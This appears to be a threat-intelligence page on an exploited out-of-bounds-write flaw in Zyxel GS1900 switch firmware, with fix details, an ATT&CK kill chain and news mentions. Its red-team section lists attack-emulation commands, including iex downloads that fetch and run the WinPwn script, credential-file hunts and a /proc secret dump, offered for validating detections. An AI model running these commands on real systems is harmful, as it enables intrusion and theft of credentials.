CVE-2026-107441

HIGH Pub 03/11 Upd 05/11

Overview

This vulnerability is an out-of-bounds write flaw occurring within the CGI program component of Zyxel GS1900-24E firmware. The root cause is improper boundary checking on input data processed by the CGI handler, leading to memory corruption. The affected component is the web management interface's CGI program in firmware versions up to 2.90(AAHK.2)C0.

Vulnerability Description

An out-of-bounds write vulnerability in the CGI program of Zyxel GS1900-24E firmware versions through 2.90(AAHK.2)C0 could allow an unauthenticated adjacent attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.

Impact

An unauthenticated attacker located on the adjacent network can exploit this vulnerability to execute arbitrary operating system commands on the affected device. This enables full control over the switch, potentially leading to unauthorized configuration changes, network disruption, or lateral movement within the infrastructure. No user interaction or credentials are required, increasing the risk of compromise in environments with accessible management interfaces.

Solution

Zyxel has released a security advisory recommending firmware updates to address this vulnerability in the GS1900 series switches. Users should upgrade to firmware versions later than 2.90(AAHK.2)C0 as specified in the Zyxel security advisory available at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-out-of-bounds-write-vulnerability-in-gs1900-series-switches-11-03-2026. No alternative workarounds are detailed; applying the vendor-provided patch is the primary remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest HIGH
Sightings Considerable activity

Threat Feed

4 events
2026-11-05
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-11-04
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-11-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Detected as Exploited in the Wild (25 sightings)

Active exploitation confirmed with 25 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
33% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell) 
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

Mentions (50)

62 mentions from 41 sources in the last 7 days BuzzFactor 98 / 100

  • social bsky.app @sean-t.bsky.social 2026-11-05 13:15 UTC
    中國駭客利用Zyxel GS1900系列交換器零時差漏洞並竊得敏感資料 | iThome www.ithome.com.tw/news/180254
    Open source
  • social bsky.app @securityrss.bsky.social 2026-11-05 12:35 UTC
    A zero-day vulnerability in Zyxel GS1900 switches, tracked as CVE-2026-107441, has been exploited by hackers to hijack devices. The flaw allows attackers to execute commands as root without authentication. Despite a previous patch (CVE-202…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-05 12:25 UTC
    Zyxel GS1900 Switches Remain Vulnerable Despite June Security Patches: Binarly Discovers Critical RCE Flaw CVE-2026-107441 + Video Introduction: A Security Update That Failed to Stop an Active Exploit A security patch is supposed to close…
    Open source
  • social bsky.app @eventmonitor.bsky.social 2026-11-05 12:16 UTC
    CGI Vulnerability (CVE-2026-107441) https://cyber.eventmonitor.net/incident/EM-20261105-DW35/cgi-vulnerability-cve-2026-107441/ #news #cybersecurity
    Open source
  • social bsky.app @helpnetsecurity.com 2026-11-05 12:15 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441) 📖 Read more: www.helpnetsecurity.com/2026/11/05/z... #cybersecurity #cybersecuritynews #0day #exploit @binarly.bsky.social @greynoise.io
    Open source
  • social bsky.app @deafnews-auto.bsky.social 2026-11-05 12:06 UTC
    Partial Zyxel Patch: 996 GS1900 Switches Compromised by New CVE-2026-107441
    Open source
  • advisory vulnerability.circl.lu 2026-11-05 12:00 UTC
    Open source
  • social bsky.app @axnews.bsky.social 2026-11-05 11:43 UTC
    🚨 Breaking: CVE-2026-107441 — High 8.8 Memory corruption · from the local network · no login https://ax-news.com/cve/CVE-2026-107441 #CVE #infosec
    Open source
  • social infosec.exchange @117509315927375519 2026-11-05 11:43 UTC
    🚨 Breaking: CVE-2026-107441 — High 8.8 Memory corruption · from the local network · no login https:// ax-news.com/cve/CVE-2026-107441 # CVE # infosec
    Open source
  • social bsky.app @handle.invalid 2026-11-05 11:15 UTC
    Vulnerabilidad Zyxel GS1900, CVE-2026-107441: 996 caídos La vulnerabilidad Zyxel GS1900 dejó ejecutar comandos sin contraseña en 996 equipos de 48 países. Zyxel ya publicó el parche....
    Open source
  • social bsky.app @infosecbriefly.bsky.social 2026-11-05 11:06 UTC
    CVE-2026-107441 in Zyxel GS1900 switches enabled unauthenticated remote command execution and was exploited in the wild against nearly 1,000 devices before fixes were applied.
    Open source
  • social bsky.app @shiojiri.com 2026-11-05 11:06 UTC
    Zyxel GS1900の修正済み脆弱性をすり抜けるゼロデイCVE-2026-107441、約1,000台が侵害済み https://joho-todai.com/zyxel-gs1900-zero-day-cve-2026-107441/
    Open source
  • news securityweek.com 2026-11-05 11:03 UTC
    Zyxel Switch Hacks Blamed on Patched Flaw Actually Exploited a Zero-Day - SecurityWeek
    Open source
  • social bsky.app 2026-11-05 10:59 UTC
    Zyxel switch attacks blamed on a patched flaw were actually CVE-2026-107441, a distinct zero-day. Out-of-bounds write via crafted HTTP requests enables OS command execution on affected devices.
    Open source
  • social bsky.app @0daynews.bsky.social 2026-11-05 10:45 UTC
    zyxel gs1900 patched for cve-2026-107441 after attacks hit ~1k devices. ensure firmware update covers latest security fixes. #infosec https://0daynews.com/articles/2026-11-05-zyxel-gs1900-cve-2026-107441-zero-day-patch/
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-11-05 10:00 UTC
    📢 Zyxel corrige un zero-day exploité par Kapibala pour compromettre 996 switches GS1900 BleepingComputer, publié le 4 novembre 2026. Zyxel a corrigé une vulnérabilité zero-day (CVE-2026-107441) affectant ses switches réseau de la… 🟢 vérifi…
    Open source
  • social mastobot.ping.moi @cyberveille 2026-11-05 10:00 UTC
    📢 Zyxel corrige un zero-day exploité par Kapibala pour compromettre 996 switches GS1900 BleepingComputer, publié le 4 novembre 2026. Zyxel a corrigé une vulnérabilité zero-day (CVE-2026-107441) affectant ses switches réseau de la série GS1…
    Open source
  • social bsky.app @networkworld.com.web.brid.gy 2026-11-05 09:47 UTC
    Open source
  • news csoonline.com 2026-11-05 09:45 UTC
    Zyxel patches a zero-day hiding behind an old fix - CSO Online
    Open source
  • social bsky.app @infosecbriefly.bsky.social 2026-11-05 08:33 UTC
    Zyxel GS1900 switches with earlier CVE-2026-7273 fixes remain vulnerable; new firmware patches CVE-2026-107441 to close an unauthenticated command-execution flaw.
    Open source
  • social bsky.app @javascriptbriefly.bsky.social 2026-11-05 08:33 UTC
    Zyxel GS1900 switches with earlier CVE-2026-7273 fixes remain vulnerable; new firmware patches CVE-2026-107441 to close an unauthenticated command-execution flaw.
    Open source
  • social bsky.app @devopsbriefly.bsky.social 2026-11-05 08:33 UTC
    Zyxel GS1900 switches with earlier CVE-2026-7273 fixes remain vulnerable; new firmware patches CVE-2026-107441 to close an unauthenticated command-execution flaw.
    Open source
  • social bsky.app @alienrick.xyz 2026-11-05 07:38 UTC
    Federal must-fix, still root. @thehackernews.bsky.social: Zyxel GS1900 Patch 2 checks the parameter counter AFTER the attacker already rewrote it. Same exploit. New CVE-2026-107441. GreyNoise: ~996 switches, 48 countries, 564 factory-defau…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-05 07:32 UTC
    Zyxel GS1900 Switches Remain Vulnerable Despite Earlier Security Patch: New CVSS 98 Flaw Enables Unauthenticated Root Command Execution + Video Introduction: A Security Patch That Failed to Close the Door A security update intended to prot…
    Open source
  • news thehackernews.com 2026-11-05 07:06 UTC
    Zyxel GS1900 Patch Fails to Block Zero-Day Exploit Allowing Root Command Execution - The Hacker News
    Open source
  • social bsky.app @cybercaptain.cc 2026-11-05 07:03 UTC
    A zero-day (CVE-2026-107441) in Zyxel GS1900 switches bypassed a June patch (CVE-2026-7273) via a buffer overflow workaround. 996 devices were hacked to steal configs and credentials. #ZeroDay #Zyxel
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-05 06:19 UTC
    🤖 CVE-2026-107441: pre-auth OOB write in Zyxel GS1900 web admin → OS command exec. ~1,000 switches hit; configs and root hashes stolen. Bypassed June's patch. https://www.bleepingcomputer.com/news/security/zyxel-fixes-zero-day-exploited-to…
    Open source
  • social infosec.exchange @cloud 2026-11-05 06:18 UTC
    🤖 CVE-2026-107441: pre-auth OOB write in Zyxel GS1900 web admin, crafted HTTP → OS command exec. ~1,000 switches hit, configs and root hashes stolen. Exploit still worked after June's CVE-2026-7273 fix. 10 models affected; firmware out Oct…
    Open source
  • news gbhackers.com 2026-11-05 05:48 UTC
    Hackers Exploit Zyxel GS1900 Zero-Day Vulnerability to Compromise Nearly 1,000 Network Switches - GBHackers News
    Open source
  • news cyberpress.org 2026-11-05 05:36 UTC
    Hackers Exploit Zyxel GS1900 Zero-Day RCE Flaw to Compromise Nearly 1,000 Network Switches - Cyber Press
    Open source
  • code github.com foxcornlab 2026-11-05 04:15 UTC
    foxcornlab/zyxel-gs1900-scanner
    Open source
  • social bsky.app @kitafox.bsky.social 2026-11-05 01:52 UTC
    Zyxel GS1900のゼロデイ脆弱性CVE-2026-107441が実際に悪用され、以前のパッチが回避される #SecurityOnline (Nov 4) securityonline.info/zyxel-gs1900...
    Open source
  • social bsky.app @johonotodai.bsky.social 2026-11-05 00:38 UTC
    Zyxel GS1900の修正済み脆弱性をすり抜けるゼロデイCVE-2026-107441、約1,000台が侵害済み
    Open source
  • social infosec.exchange @cyberseckyle 2026-11-04 23:45 UTC
    Zyxel fixed CVE-2026-107441 on GS1900 switches. A LAN-side CGI flaw could allow unauthenticated OS command execution. Check the exact model and install its 2.90 firmware patch. This is separate from CVE-2026-7273, exploited in September; n…
    Open source
  • social bsky.app @abijita.bsky.social 2026-11-04 22:28 UTC
    Zyxel GS1900 Exploit Used Separate Zero-Day, Binarly Says Binarly says the exploit previously linked to CVE-2026-7273 actually targeted a separate GS1900 zero-day, CVE-2026-107441.
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-04 22:08 UTC
    🤖 Zyxel GS1900: CVE-2026-107441 (OOB write, web admin) exploited as 0-day. 996 switches in 48 countries compromised; unauth RCE, configs + hashed root creds stolen. https://www.bleepingcomputer.com/news/security/zyxel-fixes-zero-day-exploi…
    Open source
  • social infosec.exchange @cloud 2026-11-04 22:08 UTC
    🤖 Zyxel GS1900 switches: CVE-2026-107441 (out-of-bounds write in the web admin interface) exploited as a 0-day to compromise 996 devices in 48 countries. Unauthenticated attackers ran OS commands via crafted HTTP requests, then stole confi…
    Open source
  • social bsky.app @jbhall56.bsky.social 2026-11-04 21:45 UTC
    The vulnerability, tracked as CVE-2026-107441, is an out-of-bounds write flaw in the switches' web management interface that allows an unauthenticated attacker with network access to execute operating system commands using specially crafte…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-04 21:15 UTC
    Zyxel GS1900 Zero-Day Exploited to Hack Nearly 1,000 Network Switches Across 48 Countries A previously unknown zero-day vulnerability in Zyxel GS1900 network switches has been exploited by cybercriminals to compromise nearly 1,000 devices…
    Open source
  • social bsky.app @gazewires.bsky.social 2026-11-04 21:10 UTC
    🔐 Zyxel Addresses Zero-Day Flaw in GS1900 Network Switches Zyxel has issued firmware updates to remediate CVE-2026-107441, a critical out-of-bounds write vulnerability affecting ten GS1900 switch models. 🔗 Read the full story on GazeWire #…
    Open source
  • news 2-spyware.com 2026-11-04 21:04 UTC
    Zyxel switch zero-day used to hack 996 devices - 2-Spyware
    Open source
  • news bleepingcomputer.com 2026-11-04 20:58 UTC
    Zyxel fixes zero-day exploited to hack nearly 1,000 network switches - BleepingComputer
    Open source
  • social bsky.app @cyfar.ca 2026-11-04 17:01 UTC
    ~Cybergcca~ Zyxel CVE-2026-107441 is exploited in the wild; Google Chrome, HPE networking, and Phoenix Contact PLCnext Engineer advisories also demand patching. - IOCs: CVE-2026-107441 - #ICSOT #SecurityAdvisory #ThreatIntel #Vulnerability
    Open source
  • social bsky.app @malice.ai 2026-11-04 17:01 UTC
    Canada's Cyber Centre says unnamed open-source reporting indicates exploitation, while CISA's SSVC lists none; Zyxel's CVE record rates the out-of-bounds write 8.8 and lists affected firmware.
    Open source
  • social infosec.exchange @117202824925377048 2026-11-04 16:18 UTC
    Binarly believes that Chinese threat actor Red Heron was exploiting a different Zyxel GS1900 vulnerability than CVE-2026-7273, and its patch remained ineffective. They assess that CVE-2026-107441, a pre-auth RCE vulnerability, was exploite…
    Open source
  • social social.raytec.co @techbot 2026-11-04 13:01 UTC
    Hackers Exploit Zyxel GS1900 Zero-Day in the Wild to Hijack Network Switches A flaw in Zyxel GS1900 switches was already being used by hackers, and the patch meant to fix it did not work. Researchers at Binarly found that a public exploit…
    Open source
